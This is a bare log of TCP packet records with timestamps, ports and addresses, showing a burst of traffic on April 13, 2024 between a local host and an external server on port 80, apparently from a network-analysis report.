Apr 13, 2024 20:21:14.652455091 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.652492046 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.652492046 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.652502060 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.652530909 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.652542114 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.652568102 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.652597904 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.652606010 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.652611017 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.652642965 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.652650118 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.652678967 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.652681112 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.652719975 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.652744055 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.652760983 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.657617092 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.657680988 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.657726049 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.657763958 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.657802105 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.657809973 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.657809973 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.657809973 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.657809973 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.657843113 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.657845974 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.657885075 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.657922983 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.657964945 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.658000946 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.658035040 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.658070087 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.658103943 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.658137083 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.658139944 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.658137083 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.658137083 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.658137083 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.658138037 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.658175945 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.658179045 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.658179045 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.658210039 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.658241987 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.658258915 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.658274889 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.658282995 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.658312082 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.658346891 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.658355951 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.658380032 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.658413887 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.658423901 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.658446074 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.658454895 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.658479929 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.658514023 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.658524990 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.658566952 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.658600092 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.658611059 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.658634901 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.658653021 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.658668995 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.658703089 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.658711910 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.658737898 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.658771038 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.658780098 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.658804893 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.658838987 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.658849955 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.658871889 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.658905983 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.658917904 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.658940077 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.658972979 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.658982038 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.659007072 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.659039974 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.659049034 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.659074068 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.659106970 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.659138918 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.659141064 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.659151077 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.659174919 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.659183025 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.659208059 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.659221888 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.659243107 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.659276962 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.659305096 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.659310102 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.659331083 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.659343004 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.659351110 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.659375906 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.659409046 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.659432888 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.659441948 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.659452915 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.659476042 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.659508944 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.659518957 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.659542084 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.659575939 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.659584045 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.659609079 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.659642935 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.659651995 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.659677029 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.659713030 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.659724951 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.659744978 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.659778118 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.659787893 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.659812927 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.659847021 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.659854889 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.659881115 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.659885883 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.659914970 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.659946918 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.659959078 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.659981012 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.660013914 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.660023928 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.660048008 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.660082102 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.660092115 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.660115957 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.660151005 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.660161018 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.660185099 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.660235882 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.660237074 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.660271883 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.660305977 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.660320044 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.660341978 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.660376072 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.660387039 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.660410881 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.660449028 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.660458088 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.660481930 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.660490990 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.660516024 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.660551071 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.660573959 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.660583019 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.660600901 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.660617113 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.660625935 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.660655975 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.660657883 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.660690069 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.660725117 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.660749912 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.660758972 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.660775900 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.660795927 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.660830021 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.660852909 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.660862923 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.660876989 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.660897970 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.660929918 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.660940886 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.660964966 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.660999060 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.661010981 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.661032915 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.661067963 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.661077976 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.661101103 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.661134005 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.661159039 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.661166906 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.661179066 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.661200047 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.661232948 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.661257029 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.661267996 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.661278009 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.661302090 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.661334038 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.661343098 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.661366940 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.661401033 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.661411047 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.661437035 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.661472082 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.661493063 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.661504030 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.661540031 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.661561966 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.661572933 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.661581993 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.661606073 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.661640882 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.661664009 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.661673069 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.661684990 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.661709070 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.661741972 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.661767960 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.661777020 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.661789894 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.661812067 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.661845922 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.661866903 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.661879063 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.661884069 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.661911964 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.661946058 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.661958933 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.661979914 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.661984921 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.662004948 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.662014008 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.662024975 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.662046909 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.662097931 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.662130117 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.662137032 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.662157059 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.662163973 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.662179947 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.662200928 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.662234068 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.662259102 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.662259102 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.662270069 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.662283897 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.662306070 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.662324905 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.662341118 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.662353039 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.662377119 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.662410021 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.662424088 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.662446022 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.662460089 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.662482977 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.662516117 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.662542105 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.662549973 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.662560940 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.662585020 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.662617922 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.662617922 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.662626982 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.662651062 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.662657976 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.662684917 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.662700891 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.662719965 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.662729979 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.662755013 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.662790060 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.662791014 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.662791014 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.662823915 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.662849903 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.662858009 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.662859917 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.662890911 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.662898064 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.662925959 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.662935019 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.662961006 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.662995100 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.663001060 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.663031101 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.663042068 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.663064957 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.663080931 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.663099051 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.663105011 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.663134098 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.663167000 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.663178921 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.663201094 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.663206100 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.663234949 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.663268089 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.663276911 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.663301945 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.663311958 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.663336992 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.663371086 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.663379908 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.663404942 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.663438082 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.663448095 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.663474083 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.663507938 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.663518906 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.663542032 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.663547039 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.663575888 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.663609982 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.663619041 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.663644075 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.663676977 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.663686037 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.663712025 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.663744926 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.663750887 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.663779020 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.663813114 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.663821936 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.663849115 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.663882971 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.663888931 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.663913012 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.663918018 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.663925886 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.663950920 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.663985014 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.663992882 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.664019108 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.664052010 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.664056063 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.664084911 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.664118052 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.664127111 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.664151907 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.664158106 CEST	49744	80	192.168.2.4	193.233.132.167
